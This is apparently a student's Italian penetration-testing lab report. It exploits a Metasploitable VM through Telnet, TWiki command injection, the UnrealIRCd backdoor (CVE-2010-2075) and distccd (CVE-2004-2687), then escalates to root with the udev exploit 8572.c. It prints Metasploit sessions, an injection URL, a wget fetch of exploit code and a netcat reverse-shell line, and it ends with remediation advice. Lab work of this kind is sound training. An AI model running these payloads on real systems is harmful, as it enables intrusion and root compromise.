

W16D1 – Pratica

Epic Education Srl

Exploit Telnet e TWiki, CVE-2010-2075, CVE-2004-2687

Simone Giordano

25/10/2025



Contatti:

Tel: 3280063044

Email: mynameisimone@gmail.com

Linkedin: <https://www.linkedin.com/in/simone-giordano-91290652/>

Sommario

Sintesi esecutiva	3
Perimetro	3
Panoramica delle vulnerabilità	3
Azioni di rimedio	4
Configurazione di rete	5
Vulnerabilità Telnet	6
Sfruttamento Telnet con modulo telnet_version	6
Esercizio facoltativo	8
Vulnerabilità TWiki	8
Pratica extra	9
CVE-2010-2075	9
CVE-2004-2687	11

Sintesi esecutiva

Sono stati esaminati e testati exploit relativi ai servizi Telnet e TWiki, oltre a due vulnerabilità documentate (CVE-2010-2075 e CVE-2004-2687).

Il test ha confermato la presenza di multipli vettori di compromissione sfruttabili che hanno permesso l'accesso remoto al sistema target e, in casi significativi, l'elevazione di privilegi fino a root.

L'analisi ha messo in luce come sistemi non aggiornati e servizi insicuri (servizi in chiaro, pacchetti compromessi e demoni esposti) possano essere combinati per ottenere compromissione completa e persistenza.

Sulla base dei risultati si raccomandano interventi immediati di contenimento, rimozione/aggiornamento dei servizi vulnerabili, verifica dell'integrità dei sistemi e un piano di remediation seguito da un retest.

Perimetro

Macchine

Metasploit IP 192.168.1.40 (target)

Kali IP 192.168.1.25 (attaccante)

Panoramica delle vulnerabilità

Telnet

- Servizio in chiaro e vulnerabile all'intercettazione delle credenziali.
- Exploit utilizzato: **telnet_version** di Metasploit per il recupero di user e password.
- Accesso remoto ottenuto con credenziali valide.

TWiki

- Sulla piattaforma è stato eseguito un payload che ha eseguito il comando **id** che ha restituito informazioni sull'utente.

CVE-2010-2075 – UnrealIRCd Backdoor

- Backdoor inserita nel pacchetto sorgente ufficiale compromesso.
- Exploit lanciato con successo tramite Metasploit sulla porta 6667.
- Ottenuta shell remota con privilegi root.

CVE-2004-2687

- Servizio **distccd** non limitato e accessibile da remoto.
- Exploit eseguito con successo ma accesso non root.
- Privilegi elevati con **udev** tramite exploit **8572.c**, ottenendo shell root.

Azioni di rimedio

Telnet

Disinstallare o disabilitare il servizio; sostituirlo con **SSH**; limitare accesso per IP.

TWiki

- Aggiornare all'ultima versione; applicare patch di sicurezza; restringere i permessi di scrittura e gestione.

CVE-2010-2075 – UnrealIRCd Backdoor

- Verificare integrità dei pacchetti; aggiornare a release non compromesse; rimuovere eventuali versioni infette.

CVE-2004-2687

Limitare accesso in rete tramite firewall; aggiornare distccd e udev; disabilitare servizi non necessari; monitorare attività sospette su porte aperte.

Configurazione di rete

Configuro Metasploit con IP 192.168.1.40

```
# The primary network interface
auto eth0
iface eth0 inet static
address 192.168.1.40
netmask 255.255.255.0
network 192.168.1.0
broadcast 192.168.1.255
gateway 192.168.1.1
```

Imposto Kali con IP 192.168.1.25.

Editing 50

Connection name 50

General Ethernet 802.1X Security DCB Proxy **IPv4 Settings** IPv6 Settings

Method Manual

Addresses

Address	Netmask	Gateway
192.168.1.25	24	192.168.1.0

Add Delete

DNS servers 192.168.1.1

Search domains

DHCP client ID

☐ Require IPv4 addressing for this connection to complete

Vulnerabilità Telnet

Sfruttamento Telnet con modulo telnet_version

Con nmap individuo il servizio telnet e la relativa porta aperta.

```
msf > nmap -sV 192.168.1.40
[*] exec: nmap -sV 192.168.1.40

Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-10 10:10:10
Nmap scan report for 192.168.1.40
Host is up (0.0012s latency).
Not shown: 977 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
```

Avvio Metasploit con il comando **msfconsole**.

```
(kali@kali)-[~]
$ msfconsole
Metasploit tip: When in a module, use back to go back to the top level prompt

Call trans opt: received. 2-19-98 13:24:18 REC:Loc

Trace program: running

wake up, Neo...
the matrix has you
follow the white rabbit.

knock, knock, Neo.

https://metasploit.com
```

Cerco il modulo **telnet_version** con il comando **search**, visualizzo le opzioni da configurare con **show options**, quelle necessarie sono quelle **Required**.

```
msf > search telnet_version

Matching Modules

#  Name                                     Disclosure Date  Rank  Check  Description
--  --                                     -
0  auxiliary/scanner/telnet/lantronix_telnet_version  .             normal No    Lantronix Telnet Service Banner Detection
1  auxiliary/scanner/telnet/telnet_version           .             normal No    Telnet Service Banner Detection

Interact with a module by name or index. For example info 1, use 1 or use auxiliary/scanner/telnet/telnet_version

msf > use 1
msf auxiliary(scanner/telnet/telnet_version) > show options

Module options (auxiliary/scanner/telnet/telnet_version):

Name      Current Setting  Required  Description
--      -
PASSWORD  no              no       The password for the specified username
RHOSTS    23              yes      The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT     23              yes      The target port (TCP)
THREADS    1               yes      The number of concurrent threads (max one per host)
TIMEOUT   30              yes      Timeout for the Telnet probe
USERNAME  no              no       The username to authenticate as
```

Imposto l'IP target con **set rhosts 192.168.1.40**, quindi lancio il modulo con il comando **exploit**. Il modulo recupera user e password senza la necessità di configurare un payload.

```
msf auxiliary(scanner/telnet/telnet_version) > set rhosts 192.168.1.40
rhosts => 192.168.1.40
msf auxiliary(scanner/telnet/telnet_version) > exploit
[*] 192.168.1.40:23 - 192.168.1.40:23 TELNET
Warning: Never expose this VM to an untrusted network!
Contact: msfdev[at]metasploit.com
Login with msfadmin/msfadmin to get started
metasploitable login: msfadmin
Password:
Last login: Tue Oct 21 12:45:50 EDT 2025 from PC_Simone.homenet.telecomitalia.it on pts/1
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008
i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
msfadmin@metasploitable:~$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 1636 qdisc noqueue
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
    inet6 ::1/128 scope host
        valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen
    1000
    link/ether 08:00:27:81:72:36 brd ff:ff:ff:ff:ff:ff
    inet 192.168.1.40/24 brd 192.168.1.255 scope global eth0
    inet6 fe80::a00:27ff:fe81:7236/64 scope link
        valid_lft forever preferred_lft forever
```

Mi connetto al servizio telnet vulnerabile e inserisco le credenziali recuperate grazie a Metasploit e riesco ad accedere e visualizzare l'IP di Metasploitable.

```
(kali@kali)-[~]
$ telnet 192.168.1.40
Trying 192.168.1.40 ...
Connected to 192.168.1.40.
Escape character is '^]'.

Warning: Never expose this VM to an untrusted network!
Contact: msfdev[at]metasploit.com
Login with msfadmin/msfadmin to get started

metasploitable login: msfadmin
Password:
Last login: Tue Oct 21 12:45:50 EDT 2025 from PC_Simone.homenet.telecomitalia.it on pts/1
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008
i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
msfadmin@metasploitable:~$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 1636 qdisc noqueue
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
    inet6 ::1/128 scope host
        valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen
    1000
    link/ether 08:00:27:81:72:36 brd ff:ff:ff:ff:ff:ff
    inet 192.168.1.40/24 brd 192.168.1.255 scope global eth0
    inet6 fe80::a00:27ff:fe81:7236/64 scope link
        valid_lft forever preferred_lft forever
```

Esercizio facoltativo

Vulnerabilità TWiki

Visualizzo il report elaborato con Nessus per analizzare la vulnerabilità.

19704 - TWiki 'rev' Parameter Arbitrary Command Execution

Synopsis

The remote web server hosts a CGI application that is affected by an arbitrary command execution vulnerability.

Description

The version of **TWiki** running on the remote host allows an attacker to manipulate input to the 'rev' parameter in order to execute arbitrary shell commands on the remote host subject to the privileges of the web server user id.

Plugin Output

tcp/80/www

```
Nessus was able to execute the command "id" using the
following request :

http://192.168.50.101/twiki/bin/view/Main/TWikiUsers?rev=2%20%7cid%7c%7cecho%20

This produced the following truncated output (limited to 2 lines) :
----- snip -----
uid=33(www-data) gid=33(www-data) groups=33(www-data)
----- snip -----
```

Avvio Metasploit e cerco un exploit adatto e scelgo **twiki_history** che ha la descrizione simile alla dicitura del report di Nessus.

```
2  exploit/unix/webapp/twiki_history  2005-09-14  excellent  Y
es  TWiki History TWikiUsers rev Parameter Command Execution
```

19704 - TWiki 'rev' Parameter Arbitrary Command Execution

Scelgo il payload **reverse**.

```
10  payload/cmd/unix/reverse
    normal      No      Unix Command Shell, Double Reverse TCP (telnet)
```

Lancio l'attacco ma non funziona, nonostante tutte le opzioni siano configurate correttamente.

```
msf exploit(unix/webapp/twiki_history) > run
[*] Started reverse TCP double handler on 192.168.1.25:4444
[+] Successfully sent exploit request
[*] Exploit completed, but no session was created.
```


Module options (exploit/unix/webapp/twiki_history):			
Name	Current Setting	Required	Description
Proxies		no	A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: socks5, socks5h, http, sapni, socks4
RHOSTS	192.168.1.40	yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT	80	yes	The target port (TCP)
SSL	false	no	Negotiate SSL/TLS for outgoing connections
URI	/twiki/bin	yes	Twiki bin directory path
VHOST		no	HTTP server virtual host

Payload options (cmd/unix/reverse):			
Name	Current Setting	Required	Description
LHOST	192.168.1.25	yes	The listen address (an interface may be specified)
LPORT	4444	yes	The listen port

Decido quindi di adattare il payload indicato sul report di Nessus, con il quale riesco a visualizzare alcuni dati direttamente nel browser.

Nessus was able to execute the command "id" using the following request :

`http://192.168.50.101/twiki/bin/view/Main/TWikiUsers?rev=2%20%7cid%7c%7cecho%20`

TWiki > Main > TWikiUsers (r1.2 |id||echo)

Main . { [Users](#) | [Groups](#) | [Offices](#) | [Changes](#) | [Index](#) | [Search](#) | Go }

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Topic TWikiUsers . { [Edit](#) | [Attach](#) | [Ref-By](#) | [Printable](#) | [Diffs](#) | [r1.16](#) | [>](#) | [r1.15](#) | [>](#) | [r1.14](#) | [More](#) }

Revision r1.2 |id||echo - 01 Jan 1970 - 00:00 GMT -

Copyright © 1999-2003 by the contributing authors. All material o collaboration platform is the property of the contributing authors. Ideas, requests, problems regarding TWiki? [Send](#) feedback.

Pratica extra

CVE-2010-2075

Nel maggio 2010, gli sviluppatori di UnrealIRCd scoprirono che il pacchetto sorgente ufficiale "Unreal3.2.8.1.tar.gz" scaricabile dal loro sito era stato manomesso da un attaccante circa 8 mesi prima.

In pratica, il file distribuito sul sito era infetto da una backdoor.

Chi scaricò e installò quella versione prima di giugno 2010, installò inconsapevolmente un malware. Questa compromissione è registrata come **CVE-2010-2075**.

Ho aperto Metasploit e trovato un exploit correlato a UnrealIRCd.

```
5 exploit/unix/irc/unreal_ircd_3281_backdoor 2010-06-12 excellent No UnrealIRCd 3.2.8.1 Backdoor Command Execution
```

Controllando le Options ho visto che di default è impostato sulla porta 6667, quindi grazie a un test nmap su quella porta ho notato che è aperta sul nostro target.

Name	Current Setting	Required	Description
CHOST		no	The local client address
CPORT		no	The local client port
Proxies		no	A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: socks5, socks5h, http, sapni, socks4
RHOSTS		yes	The target host(s), see https://docs
RPORT	6667	yes	The target port (TCP)

```
(kali㉿kali)-[~]
$ nmap -sV -p 6667 192.168.1.40
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-22 16:21 EDT
Nmap scan report for 192.168.1.40
Host is up (0.0018s latency).

PORT      STATE SERVICE VERSION
6667/tcp  open  irc      UnrealIRCd
```

Scelgo il payload **reverse**.

```
No      Unix Command, Generic Command Execution
6      payload/cmd/unix/reverse
```

Imposto tutti i parametri **Required**.

Name	Current Setting	Required	Description
CHOST		no	The local client address
CPORT		no	The local client port
Proxies		no	A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: socks5, socks5h, http, sapni, socks4
RHOSTS	192.168.1.40	yes	The target host(s), see https://docs
RPORT	6667	yes	The target port (TCP)


Payload options (cmd/unix/reverse):

Name	Current Setting	Required	Description
LHOST	192.168.1.25	yes	The listen address (an interface may be specified)
LPORT	4444	yes	The listen port

Avvio il payload, riesco a connettermi alla backdoor e con il comando ID visualizzo i privilegi (root).

```
msf exploit(unix/irc/unreal_ircd_3281_backdoor) > run
[*] Started reverse TCP double handler on 192.168.1.25:4444
[*] 192.168.1.40:6667 - Connected to 192.168.1.40:6667 ...
:irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname ...
[*] 192.168.1.40:6667 - Sending backdoor command...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo EQQYedCa8a4ARyMh;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "EQQYedCa8a4ARyMh\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (192.168.1.25:4444 → 192.168.1.40:45542)
at 2025-10-22 16:48:50 -0400

ls
Donation
LICENSE
aliases
badwords.channel.conf
badwords.message.conf
badwords.quit.conf
curl-ca-bundle.crt
dccallow.conf
doc
help.conf
ircd.log
ircd.pid
ircd.tune
modules
networks
spamfilter.conf
tmp
unreal
unrealircd.conf
id
uid=0(root) gid=0(root)
```



CVE-2004-2687

È una vulnerabilità di **distccd** (il demone di **distcc**, il compilatore distribuito) che permette a un attaccante remoto di eseguire comandi arbitrari inviando **job di compilazione non autorizzati** al demone, se quest'ultimo non è stato configurato per limitare l'accesso alla porta del servizio. In pratica: un servizio distccd esposto e non restrittivo può essere usato per lanciare comandi sul server.

Scelgo l'exploit **unix/misc/distcc_exec**.

```
msf > search distccd

Matching Modules
=====
```

#	Name	Disclosure Date	Rank	Check	Description
0	exploit/unix/misc/distcc_exec	2002-02-01	excellent	Yes	DistCC Daemon Command Execution

Imposto il payload **reverse** e lo avvio ma non sono utente root.

```
6  payload/cmd/unix/reverse
No  Unix Command Shell, Double Reverse TCP (telnet)
```

```
msf exploit(unix/misc/distcc_exec) > run
[*] Started reverse TCP double handler on 192.168.1.25:4444
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo HANyEuekYZBAP90f;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "HANyEuekYZBAP90f\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 3 opened (192.168.1.25:4444 → 192.168.1.40:57029) at 2025-10-22 17:10:23 -0400

id
uid=1(daemon) gid=1(daemon) groups=1(daemon)
```

Con il comando **ps aux | grep udev** noto che è attivo il processo **udev**, che sarebbe il gestore dei dispositivi per il kernel Linux.

```
ps aux | grep udev
root      2360  0.0  0.0   2092   620 ?        S<s    16:07   0:00 /sbin/udev
d         daemon

dpkg -l | grep "udev"
ii  udev                  117-8
    rule-based device node and kernel event mana
```

Cerco eventuali exploit per udev e scelgo **8572.c**

```
(kali@kali)-[~]
$ searchsploit udev
```

Exploit Title	Path
Linux Kernel 2.6 (Debian 4.0 / Ubuntu /	linux/local/8478.sh
Linux Kernel 2.6 (Gentoo / Ubuntu 8.10/9	linux/local/8572.c
Linux Kernel 4.8.0 UDEV < 232 - Local Pr	linux/local/41886.c
Linux Kernel UDEV < 1.4.1 - 'Netlink' Lo	linux/local/21848.rb

```
Shellcodes: No Results
```

Avvio **apache2** per il trasferimento del file sul target.

```
(kali@kali)-[~]
$ service apache2 start
```

Copio 8572 nella directory di apache2.

```
(kali@kali)-[~]
$ sudo cp /usr/share/exploitdb/exploits/linux/local/8572.c /var/www/html
```

Da dentro il target ho scaricato il file per il payload 8572.c.

```
wget 192.168.1.25/8572.c
--11:13:46-- http://192.168.1.25/8572.c
      => `8572.c'
Connecting to 192.168.1.25:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2,757 (2.7K) [text/x-csrc]

 0K ..                               100% 59.95 M
B/s

11:13:46 (59.95 MB/s) - `8572.c' saved [2757/2757]

ls
4509.jsvc_up
8572.c
```

La guida di 8572.c dice che bisogna avviare 8572 passando il PID di udev prelevato da /proc/net/netlink, a quel punto l'exploit avvierà automaticamente il file **/tmp/run** come root.

```
Usage:

Pass the PID of the udevd netlink socket (listed in /proc/net/netlink,
usually is the udevd PID minus 1) as argv[1].

The exploit will execute /tmp/run as root so throw whatever payload you
want in there.
```

Sul target con i seguenti comandi rispettivamente:

- Creo un file vuoto chiamato **run**

- Scrivo la riga che indica che lo script deve essere eseguito con `/bin/sh`
- Aggiungo il comando che avvia la reverse shell verso l'IP e la porta indicati usando Netcat.

```
touch run
echo '#!/bin/sh' > run
echo '/bin/netcat -e /bin/sh 192.168.1.25 5555' >> run
```

Compilo 8572.c

```
gcc 8572.c -o 8572
```

Visualizzo il contenuto di **run**

```
cat run
#!/bin/sh
/bin/netcat -e /bin/sh 192.168.1.25 5555
```

Visualizzo le informazioni sulle socket Netlink, e ottengo il PID di udev, in questo caso è **2352**.

```
cat /proc/net/netlink
```

sk	Eth	Pid	Groups	Rmem	Wmem	Dump	Locks
f7c4c800	0	0	00000000	0	0	00000000	2
dfc24a00	4	0	00000000	0	0	00000000	2
f7f71000	7	0	00000000	0	0	00000000	2
f7cffc00	9	0	00000000	0	0	00000000	2
f7cfac00	10	0	00000000	0	0	00000000	2
f7c4cc00	15	0	00000000	0	0	00000000	2
f7c17600	15	2352	00000001	0	0	00000000	2
f7c79800	16	0	00000000	0	0	00000000	2
df8c8800	18	0	00000000	0	0	00000000	2

Rendo il file 8572 eseguibile.

```
chmod +x 8572
```

Eseguo 8572, passando 2352 (PID di udev).

```
./8572 2352
```

Metto Netcat in ascolto su Kali sulla porta 5555 ottenendo la shell root!

```
(kali㉿kali)-[~]  
$ nc -lvnp 5555  
listening on [any] 5555 ...  
connect to [192.168.1.25] from (UNKNOWN) [192.168.1.40] 49223  
ls  
bin  
boot  
cdrom  
dev  
etc  
home  
initrd  
initrd.img  
lib  
lost+found  
media  
mnt  
nohup.out  
opt  
proc  
root  
sbin  
srv  
sys  
tmp  
usr  
var  
vmlinuz  
id  
uid=0(root) gid=0(root)
```

